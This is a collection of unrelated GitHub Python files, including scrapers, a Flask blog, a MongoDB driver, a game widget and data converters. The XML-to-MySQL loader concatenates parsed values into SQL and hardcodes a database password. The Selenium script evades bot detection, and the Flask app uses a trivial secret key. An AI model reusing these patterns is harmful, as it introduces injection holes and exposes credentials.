{"seq_id":"5106314374","text":"import re\nimport requests\nfrom bs4 import BeautifulSoup\nfrom colors import bcolors\n\n\n\n\nteam_url = \"http://globoesporte.globo.com/futebol/times/flamengo/\"\n\n#Perform a get request to the overall URL with the python requests library\nrequest = requests.get(team_url)\n#Extract the string body of the response\nhtml = request.content\n\n#Instantiate our BS parser with the HTML and the kind of parser we want to use\nsoup = BeautifulSoup(html, \"html.parser\")\n\njogos = soup.find_all(class_=\"jogo anterior\")\n\nprint(\"%-10s%-32s%s\" %(\"Data\", \"Competição\", \"Resultado\"))\nprint(\"-\"*52)\nfor jogo in jogos[-5:]:\n    jogo = jogo.text\n    jogo = re.sub('\\n', \"\", jogo)\n    date = jogo[:5]\n    date = list(date)\n    date[0:2], date[3:] = date[3:] , date[0:2]\n    date = \"\".join(date)\n    result = re.findall(\"[A-Z]{3}\\d{1,2}×\\d{1,2}[A-Z]{3}\", jogo)[0]\n    result = re.sub('(\\d{1,2}×\\d{1,2})', r' \\1 ', result)\n\n    home = re.search(\"^F\", result)\n    goals = re.findall('\\d{1,2}',result)\n    penalties = re.search(\"\\(\\d *× *\\d\\)\",jogo)\n    if penalties:\n        pScore = re.findall(\"\\(\\d *× *\\d\\)\",jogo)[0]\n        pScore = re.sub(\" \",\"\",pScore)\n        result = re.sub(\"×\", pScore, result)\n    if home:\n        if penalties:\n            pGoals = re.findall('\\d{1,2}',pScore)\n            if pGoals[0] > pGoals[1]:\n                result = bcolors.GREEN + result + bcolors.ENDC\n            elif pGoals[0] < pGoals[1]:\n                result = bcolors.RED + result + bcolors.ENDC\n        else:\n            if goals[0] > goals[1]:\n                result = bcolors.GREEN + result + bcolors.ENDC\n            elif goals[0] < goals[1]:\n                result = bcolors.RED + result + bcolors.ENDC\n    else:\n        if penalties:\n            pGoals = re.findall('\\d{1,2}',pScore)\n            if pGoals[0] < pGoals[1]:\n                result = bcolors.GREEN + result + bcolors.ENDC\n            elif pGoals[0] > pGoals[1]:\n                result = bcolors.RED + result + bcolors.ENDC\n        else:\n            if goals[0] < goals[1]:\n                result = bcolors.GREEN + result + bcolors.ENDC\n            elif goals[0] > goals[1]:\n                result = bcolors.RED + result + bcolors.ENDC\n\n    youthGame = re.search(\"Sub-\\d{2}\",jogo)\n    if youthGame:\n        youth = re.findall(\"Sub-\\d{2}\",jogo)[0]\n\n    competition = re.sub(\"[^a-zÀ-ÿ\\- ]\", \"\", jogo, flags=re.I)\n    competition = re.sub('([A-Z]{3}×.*)', '', competition)\n    competition = re.sub(\" *× *\", \"\", competition)\n    if youthGame:\n        competition = competition.replace(\"Sub-\",youth)\n    if penalties:\n        print(\"%-9s%-30s%s\" %(date, competition, result))\n    else:\n        print(\"%-9s%-32s%s\" %(date, competition, result))\n","repo_name":"leandro19/Flamenguista","sub_path":"ultimos-jogos.py","file_name":"ultimos-jogos.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"20678458068","text":"\n\nclass StackCustm:\n    \"\"\"\n        利用列表数据结构，实现一个栈\n\n    \"\"\"\n\n    # 用空列表初始化一个栈\n    def __init__(self):\n        self.__items = []\n\n    def is_empty(self):\n        return self.__items == []\n\n    # 返回栈顶元素\n    def peek(self):\n        return self.__items[len(self.__items) - 1]\n\n    def size(self):\n        return len(self.__items)\n\n    # 压栈\n    def push(self, item):\n        self.__items.append(item)\n        return self\n\n    # 出栈\n    def pop(self):\n        return self.__items.pop()\n\n\nclass GeneralOperator:\n    @staticmethod\n    def addTwoNum(s1: StackCustm, s2: StackCustm) -> StackCustm:\n        flag = 0\n        r = StackCustm()\n        while s1.size() > 0 and s2.size() > 0:\n            temp = s1.pop()+s2.pop()+flag\n            if temp > 10:\n                flag = 1\n                temp -= 10\n            else:\n                flag = 0\n            r.push(temp)\n\n        while s1.size() > 0:\n            temp = s1.pop()+flag\n            if temp >= 10:\n                flag = 1\n                temp -= 10\n            else:\n                flag = 0\n            r.push(temp)\n\n        while s2.size() > 0:\n            temp = s2.pop()+flag\n            if temp >= 10:\n                flag = 1\n                temp -= 10\n            else:\n                flag = 0\n            r.push(temp)\n\n        if flag:\n            r.push(1)\n\n        return r\n\n\nif __name__ == '__main__':\n    # 32\n    n1 = StackCustm()\n    n1.push(3).push(2)\n\n    # 15\n    n2 = StackCustm()\n    n2.push(1).push(5)\n\n    r = GeneralOperator.addTwoNum(n1, n2)\n\n    while r.size() > 0:\n        print(r.pop())\n\n\n\n\n","repo_name":"technologyMz/Python_DS","sub_path":"leetcode/StackImpl.py","file_name":"StackImpl.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"3774939225","text":"\"\"\"Blogly application.\"\"\"\n\nfrom flask import Flask, render_template, request, redirect\nfrom models import db, connect_db, User, Post\nfrom flask_debugtoolbar import DebugToolbarExtension\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = \"a\"\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql:///blogly'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['SQLALCHEMY_ECHO'] = True\n\nconnect_db(app)\n\ndebug = DebugToolbarExtension(app)\ndb.create_all()\n\n\n@app.route('/')\ndef redirect_to_home_page():\n    \"\"\" On home page request, redirects to /users. \"\"\"\n    return redirect('/users')\n\n\n@app.route('/users')\ndef generate_users_page():\n    \"\"\" Generates unordered list of links to users. \"\"\"\n    users_data = User.query.all()\n    return render_template('users.html', users=users_data)\n\n\n@app.route('/users/<int:user_id>')\ndef display_single_user(user_id):\n    \"\"\" Generates page for single user including photo \"\"\"\n    user_data = User.query.get(user_id)\n    return render_template('user.html', user=user_data)\n\n\n@app.route('/users/new')\ndef show_create_user_form():\n    \"\"\"Show form to create a new user\"\"\"\n    return render_template('add_new_user.html')\n\n\n@app.route('/users', methods=[\"POST\"])\ndef submit_create_user_form():\n    \"\"\"Submit form to create a new user\"\"\"\n\n    first_name = request.form['first-name-input']\n    last_name = request.form['last-name-input']\n    image = request.form['img-url-input'] or None\n\n    new_user = User(first_name=first_name,\n                    last_name=last_name,\n                    image_url=image)\n\n    db.session.add(new_user)\n    db.session.commit()\n\n    return redirect('/users')\n\n\n@app.route('/users/<int:user_id>/edit')\ndef show_edit_user_page(user_id):\n    \"\"\" Show form to edit an existing user. \"\"\"\n    user_data = User.query.get(user_id)\n\n    return render_template('edit_user.html', user=user_data)\n\n\n@app.route('/users/<int:user_id>/edit', methods=[\"POST\"])\ndef save_edited_user(user_id):\n    \"\"\" On home page request, redirects to /users. \"\"\"\n    user = User.query.get(user_id)\n\n    user.first_name = request.form['first-name-input']\n    user.last_name = request.form['last-name-input']\n    user.image_url = request.form['img-url-input']\n\n    db.session.commit()\n\n    return redirect('/users')\n\n\n@app.route('/users/<int:user_id>/delete', methods=[\"POST\"])\ndef delete_user(user_id):\n    \"\"\"Deletes user and redirects to main /users page\"\"\"\n    user = User.query.get(user_id)\n    db.session.delete(user)\n    db.session.commit()\n   \n    return redirect('/users')\n\n\n@app.route('/users/<int:user_id>/posts/new')\ndef show_new_post_form(user_id):\n    \"\"\" Shows a form to create a new post for an existing user. \"\"\"\n    user = User.query.get(user_id)\n\n    return render_template('create_post.html', user=user)\n\n\n@app.route('/users/<int:user_id>/posts', methods=[\"POST\"])\ndef add_new_post(user_id):\n    \"\"\" Adds new post to user page. \"\"\"\n\n    title = request.form['title-input']\n    content = request.form['content-input']\n\n    new_post = Post(title=title,\n                    content=content,\n                    user_id=user_id)\n\n    db.session.add(new_post)\n    db.session.commit()\n\n    return redirect(f'/users/{user_id}')\n\n\n@app.route('/posts/<int:post_id>')\ndef show_post(post_id):\n    \"\"\" Function presents single post \"\"\"\n\n    post = Post.query.get(post_id)\n\n    return render_template('post.html', post=post)\n\n@app.route('/posts/<int:post_id>/edit')\ndef show_edit_post_page(post_id):\n    \"\"\" Presents form to edit post \"\"\"\n\n    post = Post.query.get(post_id)\n\n    return render_template('edit_post.html', post=post)\n\n@app.route('/posts/<int:post_id>/edit', methods=[\"POST\"])\ndef save_edited_post(post_id):\n    \"\"\" Saves edited post and redirects to post view\"\"\"\n\n    post = Post.query.get(post_id)\n\n    post.title = request.form['editing-title-input']\n    post.content = request.form['editing-content-input']\n\n    db.session.commit()\n    return redirect(f'/posts/{post_id}')","repo_name":"annikaslund/blogly-take-two","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"22898302654","text":"\nimport copy\n\n# 1º) As an exercise, write a function called distance_between_points that takes two \n# Points as arguments and returns the distance between them.\n\nclass Point:\n    \"\"\"Represents a point in 2-D space.\"\"\"\n\n\ndef distance_between_points(a: Point, b: Point) -> float:\n    \"\"\"Takes two points and computes the distance between them.\"\"\"\n    \n    x_square = abs(a.x - b.x) ** 2\n    y_square = abs(a.y - b.y) ** 2\n    distance = (x_square + y_square) ** (1/2)\n\n    return distance\n\n# 2º) As an exercise, write a function named move_rectangle that takes a Rectangle and two \n# numbers named dx and dy. It should change the location of the rectangle by adding dx \n# to the x coordinate of corner and adding dy to the y coordinate of corner.\n\nclass Rectangle:\n    \"\"\"Represents a rectangle.\n    \n    attributes: width, height, corner.\n\n    obs: corner is a Point object\n    \"\"\"\n\n\ndef move_rectangle(rect, dx, dy):\n    \n    rect.corner.x += dx\n    rect.corner.y += dy\n\n# 3º) As an exercise, write a version of move_rectangle that creates and returns a new Rectangle \n# instead of modifying the old one.\n\ndef new_move_rectangle(rect, dx, dy):\n\n    n_rect = copy.deepcopy(rect)\n    \n    rect.corner.x += dx\n    rect.corner.y += dy\n\n    return n_rect\n    \nif __name__ == '__main__':\n    \n    # 1º)\n    a = Point()\n    b = Point()\n    a.x, a.y = 4, 3\n    b.x, b.y = 8, 9\n    print(distance_between_points(a, b))\n\n    # 2º)\n    rect = Rectangle()\n    rect.width, rect.height, rect.corner = 100, 200, Point()\n    rect.corner.x, rect.corner.y = 0, 0\n    move_rectangle(rect, dx=10, dy=20)\n    print(f\"The new location is {rect.corner.x, rect.corner.y}\")\n    ","repo_name":"baldoinov/text-books","sub_path":"think-python/code/chapter_15.py","file_name":"chapter_15.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"13997089787","text":"\"\"\"asyncio driver based on Motor\n\"\"\"\nimport asyncio\nfrom functools import wraps\nfrom typing import Callable, Collection, Optional, Tuple, Union\n\nimport bson\nimport motor.motor_asyncio\nimport xarray\nfrom dask.delayed import Delayed\n\nfrom .common import (\n    CHUNK_SIZE_BYTES_DEFAULT,\n    CHUNKS_INDEX,\n    EMBED_THRESHOLD_BYTES_DEFAULT,\n    XarrayMongoDBCommon,\n)\nfrom .errors import DocumentNotFoundError\nfrom .nep18 import UnitRegistry\n\n\ndef _create_index(func: Callable) -> Callable:\n    \"\"\"Asynchronous decorator function that create the index on the 'chunk' collection\n    on the first get() or put()\n    \"\"\"\n\n    @wraps(func)\n    async def wrapper(self: \"XarrayMongoDBAsyncIO\", *args, **kwargs):\n        if not self._has_index:\n            idx_fut = asyncio.ensure_future(\n                self.chunks.create_index(CHUNKS_INDEX, background=True)\n            )\n        try:\n            return await func(self, *args, **kwargs)\n        finally:\n            if not self._has_index:\n                await idx_fut\n                self._has_index = True\n\n    return wrapper\n\n\nclass XarrayMongoDBAsyncIO(XarrayMongoDBCommon):\n    \"\"\":mod:`asyncio` driver for MongoDB to read/write xarray objects\n\n    :param database:\n        :class:`motor.motor_asyncio.AsyncIOMotorDatabase`\n    :param str collection:\n        See :class:`~xarray_mongodb.XarrayMongoDB`\n    :param int chunk_size_bytes:\n        See :class:`~xarray_mongodb.XarrayMongoDB`\n    :param int embed_threshold_bytes:\n        See :class:`~xarray_mongodb.XarrayMongoDB`\n    :param pint.registry.UnitRegistry ureg:\n        See :class:`~xarray_mongodb.XarrayMongoDB`\n    \"\"\"\n\n    # This method is just for overriding the typing annotation of database\n    def __init__(\n        self,\n        database: motor.motor_asyncio.AsyncIOMotorDatabase,\n        collection: str = \"xarray\",\n        *,\n        chunk_size_bytes: int = CHUNK_SIZE_BYTES_DEFAULT,\n        embed_threshold_bytes: int = EMBED_THRESHOLD_BYTES_DEFAULT,\n        ureg: UnitRegistry = None,\n    ):\n        XarrayMongoDBCommon.__init__(**locals())\n\n    @_create_index\n    async def put(\n        self, x: Union[xarray.DataArray, xarray.Dataset]\n    ) -> Tuple[bson.ObjectId, Optional[Delayed]]:\n        \"\"\"Asynchronous variant of :meth:`xarray_mongodb.XarrayMongoDB.put`\"\"\"\n        meta, variables_data = self._dataset_to_meta(x)\n        _id = (await self.meta.insert_one(meta)).inserted_id\n        chunks, delayed = self._dataset_to_chunks(variables_data, _id)\n        if chunks:\n            await self.chunks.insert_many(chunks)\n        return _id, delayed\n\n    @_create_index\n    async def get(\n        self, _id: bson.ObjectId, load: Union[bool, None, Collection[str]] = None\n    ) -> Union[xarray.DataArray, xarray.Dataset]:\n        \"\"\"Asynchronous variant of :meth:`xarray_mongodb.XarrayMongoDB.get`\"\"\"\n        meta = await self.meta.find_one({\"_id\": _id})\n        if not meta:\n            raise DocumentNotFoundError(_id)\n        load_norm, chunks_query = self._prepare_get(meta, load)\n        if chunks_query:\n            chunks = await self.chunks.find(chunks_query).to_list(None)\n        else:\n            chunks = []\n        return self._docs_to_dataset(meta, chunks, load_norm)\n","repo_name":"crusaderky/xarray_mongodb","sub_path":"xarray_mongodb/asyncio.py","file_name":"asyncio.py","file_ext":"py","file_size_in_byte":3201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"3255774701","text":"import time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom authentication import USEREMAIL, PASSWORD\nimport pickle\n\n# options\noptions = webdriver.ChromeOptions()\n# to leave the browser open and can be interacted with manually\noptions.add_experimental_option(\"detach\", True)\n\n# disable webdriver mode for ChromeDriver for version 79.0.3945.16 or over\noptions.add_argument(\"--disable-blink-features=AutomationControlled\")\n\ndriver = webdriver.Chrome(options=options)\n\nurl = 'https://www.linkedin.com/'\n\ntry:\n    # driver.get(url)\n    # time.sleep(3)\n    #\n    # email_input = driver.find_element(By.ID, 'session_key')\n    # email_input.clear()\n    # email_input.send_keys(USEREMAIL)\n    # time.sleep(1)\n    #\n    # password_input = driver.find_element(By.ID, 'session_password')\n    # password_input.clear()\n    # password_input.send_keys(PASSWORD)\n    # time.sleep(1)\n    # password_input.send_keys(Keys.ENTER)\n    # time.sleep(3)\n    #\n    # # Create and save cookies file for Login\n    # pickle.dump(driver.get_cookies(), open(f\"{USEREMAIL}_cookies\", \"wb\"))\n\n    #Load saved cookies for Login\n    driver.get(url)\n    for cookie in pickle.load(open(f\"{USEREMAIL}_cookies\", \"rb\")):\n        driver.add_cookie(cookie)\n\n    time.sleep(3)\n    driver.refresh()\n    time.sleep(10)\n\nexcept Exception as ex:\n    print(ex)\n\nfinally:\n    # time.sleep(100)\n    driver.close()\n    driver.quit()\n","repo_name":"ieblokhin/SelfStudy-Python","sub_path":"HowToScripts/cookiesWebdriver.py","file_name":"cookiesWebdriver.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"74083897962","text":"from src.coginvasion.base import ToontownIntervals\nfrom src.coginvasion.globals import CIGlobals\n\nfrom direct.gui.DirectGui import DirectFrame, DirectLabel\nfrom direct.directnotify.DirectNotifyGlobal import directNotify\nfrom panda3d.core import Vec4\n\nfrom libpandabsp import BloomAttrib\n\nnotify = directNotify.newCategory(\"LaffOMeter\")\n\nclass LaffOMeter(DirectFrame):\n\n    deathColor = Vec4(0.58039216, 0.80392157, 0.34117647, 1.0)\n\n    def __init__(self, forRender = False):\n        DirectFrame.__init__(self, relief=None, sortOrder=50, parent=base.a2dBottomLeft)\n        self.initialiseoptions(LaffOMeter)\n        self.container = DirectFrame(parent=self, relief=None)\n        self.container.setBin('gui-popup', 60)\n\n        if forRender:\n            self.container.setY(0)\n            self.setLightOff()\n            self.setFogOff()\n            self.setMaterialOff()\n            self.setAttrib(BloomAttrib.make(False))\n            self.hide(CIGlobals.ShadowCameraBitmask)\n        self.forRender = forRender\n\n    def generate(self, r, g, b, animal, maxHP = 50, initialHP = 50):\n        self.maxHP = maxHP\n        self.initialHP = initialHP\n        self.color = (r, g, b, 1)\n\n        gui = loader.loadModel(\"phase_3/models/gui/laff_o_meter.bam\")\n        if animal == \"rabbit\":\n            animal = \"bunny\"\n        headmodel = gui.find('**/' + animal + 'head')\n        self.container['image'] = headmodel\n        self.container['image_color'] = self.color\n        if animal == 'monkey':\n            self.setPos(0.153, 0.0, 0.13)\n        else:\n            self.setPos(0.133, 0, 0.13)\n        self.resetFrameSize()\n        self.setScale(0.075)\n        self.frown = DirectFrame(parent=self.container, relief=None, image=gui.find('**/frown'))\n        self.smile = DirectFrame(parent=self.container, relief=None, image=gui.find('**/smile'))\n        self.eyes = DirectFrame(parent=self.container, relief=None, image=gui.find('**/eyes'))\n        self.openSmile = DirectFrame(parent=self.container, relief=None, image=gui.find('**/open_smile'))\n        self.tooth1 = DirectFrame(parent=self.openSmile, relief=None, image=gui.find('**/tooth_1'))\n        self.tooth2 = DirectFrame(parent=self.openSmile, relief=None, image=gui.find('**/tooth_2'))\n        self.tooth3 = DirectFrame(parent=self.openSmile, relief=None, image=gui.find('**/tooth_3'))\n        self.tooth4 = DirectFrame(parent=self.openSmile, relief=None, image=gui.find('**/tooth_4'))\n        self.tooth5 = DirectFrame(parent=self.openSmile, relief=None, image=gui.find('**/tooth_5'))\n        self.tooth6 = DirectFrame(parent=self.openSmile, relief=None, image=gui.find('**/tooth_6'))\n\n        self.teethList = [self.tooth6,\n                        self.tooth5,\n                        self.tooth4,\n                        self.tooth3,\n                        self.tooth2,\n                        self.tooth1]\n        if self.forRender:\n            self.container['image_pos'] = (0, 0.01, 0)\n            for tooth in self.teethList:\n                tooth.setDepthWrite(False)\n            self.eyes.setDepthWrite(False)\n            self.smile.setDepthWrite(False)\n            self.openSmile.setDepthWrite(False)\n            self.frown.setDepthWrite(False)\n        self.fractions = [0.0,\n                        0.166666,\n                        0.333333,\n                        0.5,\n                        0.666666,\n                        0.833333]\n\n        self.currentHealthLbl = DirectLabel(text=str(self.initialHP), parent=self.eyes, pos=(-0.425, 0, 0.05), scale=0.4, relief=None)\n        self.maxHealthLbl = DirectLabel(text=str(self.maxHP), parent=self.eyes, pos=(0.425, 0, 0.05), scale=0.4, relief=None)\n        if self.forRender:\n            self.currentHealthLbl.setY(-0.01)\n            self.maxHealthLbl.setY(-0.01)\n\n        self.updateMeter(self.initialHP)\n        gui.removeNode()\n        return\n\n    def start(self):\n        taskMgr.add(self.updateMeterTask, \"updateMeterTask\")\n\n    def updateMeterTask(self, task):\n        if hasattr(base, 'localAvatar'):\n            if str(base.localAvatar.getHealth()) != self.currentHealthLbl['text']:\n                self.updateMeter(base.localAvatar.getHealth())\n        else:\n            return task.done\n        return task.cont\n\n    def updateMeter(self, health):\n        self.adjustFace(health)\n\n    def adjustFace(self, health):\n        self.frown.hide()\n        self.smile.hide()\n        self.openSmile.hide()\n        self.eyes.hide()\n        for tooth in self.teethList:\n            tooth.hide()\n        if health <= 0:\n            self.frown.show()\n            self.container['image_color'] = self.deathColor\n        elif health >= self.maxHP:\n            self.smile.show()\n            self.eyes.show()\n            self.container['image_color'] = self.color\n        else:\n            self.openSmile.show()\n            self.eyes.show()\n            self.maxHealthLbl.show()\n            self.currentHealthLbl.show()\n            self.container['image_color'] = self.color\n            self.adjustTeeth(health)\n        self.animatedEffect(health - self.initialHP)\n        self.adjustText(health)\n\n    def animatedEffect(self, delta):\n        if delta == 0:\n            return\n        name = 'effect'\n        if delta > 0:\n            ToontownIntervals.start(ToontownIntervals.getPulseLargerIval(self.container, name))\n        else:\n            ToontownIntervals.start(ToontownIntervals.getPulseSmallerIval(self.container, name))\n\n    def adjustTeeth(self, health):\n        for i in xrange(len(self.teethList)):\n            if health > self.maxHP * self.fractions[i]:\n                self.teethList[i].show()\n            else:\n                self.teethList[i].hide()\n\n    def adjustText(self, health):\n        if self.maxHealthLbl['text'] != str(self.maxHP) or self.currentHealthLbl['text'] != str(health):\n            self.currentHealthLbl['text'] = str(health)\n\n    def stop(self):\n        taskMgr.remove(\"updateMeterTask\")\n\n    def disable(self):\n        if not hasattr(self, 'frown'):\n            notify.warning(\"Won't disable LaffOMeter, no var named frown.\")\n            return\n        self.frown.destroy()\n        self.smile.destroy()\n        self.eyes.destroy()\n        self.openSmile.destroy()\n        self.tooth1.destroy()\n        self.tooth2.destroy()\n        self.tooth3.destroy()\n        self.tooth4.destroy()\n        self.tooth5.destroy()\n        self.tooth6.destroy()\n        del self.frown\n        del self.smile\n        del self.eyes\n        del self.openSmile\n        del self.tooth1\n        del self.tooth2\n        del self.tooth3\n        del self.tooth4\n        del self.tooth5\n        del self.tooth6\n        self.container[\"image\"] = None\n        return\n\n    def delete(self):\n        self.container.destroy()\n        del self.container\n        return\n","repo_name":"Cog-Invasion-Online/cio-src","sub_path":"game/src/coginvasion/gui/LaffOMeter.py","file_name":"LaffOMeter.py","file_ext":"py","file_size_in_byte":6783,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"19"}
{"seq_id":"73285314923","text":"import xlrd\nimport unicodecsv as csv\nimport sys\nimport os\n\n# Creates a csv file from an xls file\n# @skip determines how many of the first few rows of the xls file should be skipped\ndef Excel2CSV(ExcelFile, CSVFile, skip):\n\t# Open the given xls file and select the first sheet\n\tworkbook = xlrd.open_workbook(ExcelFile)\n\tworksheet = workbook.sheet_by_index(0)\n\n\t# Create and open the csv file\n\tcsvfile = open(CSVFile, 'wb')\n\twr = csv.writer(csvfile, quoting=csv.QUOTE_ALL)\n\n\t# Fill the data\n\ti = 0\n\tfor rownum in xrange(worksheet.nrows):\n\t\ti += 1\n\t\tif i <= skip: continue\n\t\twr.writerow(worksheet.row_values(rownum))\n\n\t# Close the csv file\n\tcsvfile.close()\n\n# Converts all the xls files in the current directory into csv files\ndef convertToCSV():\n\t# Get the current path\n\tfull_path = os.path.realpath(__file__)\n\tpath = os.path.dirname(full_path)\n\n\t# Go through all the xls files in the directory\n\tfor subdir, dirs, files in os.walk(path):\n\t\tfor file in files:\n\t\t\tfilepath = subdir + os.sep + file\n\n\t\t\tif filepath.endswith(\".xls\"):\n\t\t\t\texcelfile = filepath\n\t\t\t\tcsvfile = os.path.splitext(filepath)[0]+\".csv\"\n\t\t\t\t# Skip the first two rows if the file is \"Ek_atte.xls\", otherwise skip only the first one\n\t\t\t\tif excelfile.endswith(\"atte.xls\"): Excel2CSV(excelfile, csvfile, 2)\n\t\t\t\telse: Excel2CSV(excelfile, csvfile, 1)\n","repo_name":"georgi-pramatarov/HackerSchool","sub_path":"ekatte/convertToCSV.py","file_name":"convertToCSV.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"70593067882","text":"\r\nfrom xml.dom import minidom\r\nfrom os import listdir\r\nfrom os.path import isfile, isdir\r\nimport mysql.connector\r\n\r\n#lista de archivos en una carprta, función directo de internet\r\n#creación lista con archivos dentro de una carpeta\r\n#entrada: path carpeta contenedora de archivos \r\ndef lista_archivos(path):    \r\n    return [obj for obj in listdir(path) if isfile(path + obj)]\r\n\r\n\r\n        \r\n#creación de tabla factura\r\n#entrada: con conexión        \r\ndef sql_tabla_factura(con):\r\n    cnx = mysql.connector.connect(**con)\r\n    cursorObj = cnx.cursor()\r\n    cursorObj.execute(\"CREATE TABLE facturas(datetime int, tipo text, folio text, emisor text,receptor text, total int)\")\r\n    cnx.commit()\r\n    cnx.close()\r\n    \r\n#creación de tabla detalle factura\r\n#entrada: con conexión  \r\ndef sql_tabla_detalle_factura(con):\r\n    cnx = mysql.connector.connect(**con)\r\n    cursorObj = cnx.cursor()\r\n    cursorObj.execute(\"CREATE TABLE detalle_factura(rut text, folio text, nombre text, monto int, iva float8)\")\r\n    cnx.commit()\r\n    cnx.close()\r\n    \r\n#creación de tabla emisor_receptor\r\n#entrada: con conexión  \r\ndef sql_tabla_emisor_receptor(con):\r\n    cnx = mysql.connector.connect(**con)\r\n    cursorObj = cnx.cursor()\r\n    cursorObj.execute(\"CREATE TABLE empresas(rut text, razon_social text,PRIMARY KEY (rut(10)))\")\r\n    cnx.commit()\r\n    cnx.close()\r\n\r\n#se inserta el emisor o receptor como rut de empresa y su razón social\r\n#entrada: con conexión\r\n#         rut         =rut del emisor-receptor\r\n#         razon_social=razón social de la empresa \r\ndef insert_emisor_receptor(con,rut,razon_social):\r\n    try:\r\n        cnx = mysql.connector.connect(**con)\r\n        cursorObj = cnx.cursor()\r\n        stmt_select = \"SELECT rut FROM empresas where rut='\"+rut+\"'\"\r\n        cursorObj.execute(stmt_select)\r\n        \r\n        rows = None\r\n        try:\r\n            rows = cursorObj.fetchall()\r\n            cnx.close()\r\n        except mysql.connector.InterfaceError as e:\r\n            raise\r\n        print (rows)\r\n        if rows == []:\r\n            try:\r\n                cnx = mysql.connector.connect(**con)\r\n                cursorObj = cnx.cursor()\r\n                cursorObj.execute(\"INSERT INTO empresas VALUES('\"+rut+\"','\"+razon_social+\"')\")\r\n                cnx.commit()\r\n                cnx.close()\r\n            except mysql.connector.InterfaceError as e:\r\n                raise           \r\n        else:\r\n            print (\"repetido\")\r\n        \r\n    except mysql.connector.InterfaceError as e:\r\n            raise        \r\n#se inserta el detalle de las facturas\r\n#entrada: con   = conexión\r\n#         rut   = rut emisor factura\r\n#         folio = folio factura\r\n#         nombre= nombre asociado al ítem del detalle\r\n#         monto =monto asociado al ítem del detalle\r\n#         iva   =asociado al iva del detalle\r\ndef insert_detalle_factura(con,rut,folio, nombre,monto, iva):\r\n    try:\r\n        cnx= mysql.connector.connect(**con)\r\n        cursorObj = cnx.cursor()\r\n        cursorObj.execute(\"INSERT INTO detalle_factura VALUES('\"+rut+\"','\"+folio+\"','\"+nombre+\"',\"+str(monto)+\",\"+str(iva)+\")\")        \r\n        cnx.commit()\r\n        cnx.close()\r\n    except mysql.connector.InterfaceError as e:\r\n            raise\r\n        \r\n#se inserta la data de la factura\r\n#entrada: con     = conexión\r\n#         datetime= marca de tiempo\r\n#         tipo    = si es boleta o factura\r\n#         folio   = folio factura\r\n#         emisor  = rut emisor\r\n#         receptor= rut receptor\r\n#         total   = monto total    \r\ndef insert_factura_boleta(con,datetime,tipo,folio,emisor, receptor,total):\r\n    try:\r\n        cnx = mysql.connector.connect(**con)\r\n        cursorObj = cnx.cursor()\r\n        cursorObj.execute(\"INSERT INTO facturas VALUES(\"+str(datetime)+\",'\"+tipo+\"','\"+folio+\"','\"+emisor+\"','\"+receptor+\"',\"+str(total)+\")\")\r\n        cnx.commit()\r\n        cnx.close()\r\n    except mysql.connector.InterfaceError as e:\r\n            raise\r\n\r\n#se hacen los llamados para crear las tablas, esto se hace solo una vez\r\n#entrada: con   = conexión\r\ndef crear_tablas(con):\r\n    sql_tabla_factura(con)\r\n    sql_tabla_detalle_factura(con)\r\n    sql_tabla_emisor_receptor(con)\r\n\r\n\r\n#se carga la data desde una carpeta de archivos xml las que se pasan a diferentes tablas\r\n#entrada: con   = conexión\r\ndef cargar_data(con):\r\n    lista_xml=lista_archivos('dte-files/')\r\n    for xml in lista_xml:\r\n        doc = minidom.parse(\"dte-files/\"+xml)\r\n        dte = doc.getElementsByTagName(\"dte\")[0]\r\n        emision=int(dte.getAttribute(\"emision\"))\r\n        tipo=dte.getAttribute(\"tipo\")\r\n        folio=dte.getAttribute(\"folio\")\r\n        emisor=dte.getElementsByTagName(\"emisor\")[0]\r\n        rut_emisor=emisor.getAttribute(\"rut\")\r\n        razon_emisor=emisor.getAttribute(\"razonSocial\")\r\n        receptor=dte.getElementsByTagName(\"receptor\")[0]\r\n        rut_receptor=receptor.getAttribute(\"rut\")\r\n        razon_receptor=receptor.getAttribute(\"razonSocial\")\r\n        detalle=dte.getElementsByTagName(\"items\")[0].getElementsByTagName(\"detalle\")\r\n        i=0\r\n        total=0\r\n        while (i<len(detalle)):\r\n            monto=int(detalle[i].getAttribute(\"monto\"))\r\n            iva=float(detalle[i].getAttribute(\"iva\"))\r\n            nombre=detalle[i].firstChild.nodeValue\r\n            total=monto+total\r\n            insert_detalle_factura(con,rut_emisor, folio,nombre,monto, iva)\r\n            i=i+1\r\n        insert_emisor_receptor(con,rut_emisor,razon_emisor)\r\n        insert_emisor_receptor(con,rut_receptor,razon_receptor)\r\n        insert_factura_boleta(con,emision,tipo, folio,rut_emisor,rut_receptor,total)\r\n        \r\n\r\nconfig = {\r\n\t'host': 'sql10.freemysqlhosting.net',\r\n\t'port': 3306,\r\n\t'database': 'sql10340036',\r\n\t'user': 'sql10340036',\r\n\t'password': 'XuxANBggVz',\r\n\t'charset': 'utf8',\r\n\t'use_unicode': True,\r\n\t'get_warnings': True,\r\n}\r\n\r\n\r\n\r\n\r\n#se crean las tablas, se hace una vez, luego se comenta la siguiente línea\r\ncrear_tablas(config)\r\n\r\n#se carga la información\r\ncargar_data(config)\r\n\r\n","repo_name":"aileenPruebas2/Pento","sub_path":"xmlToDB.py","file_name":"xmlToDB.py","file_ext":"py","file_size_in_byte":5983,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
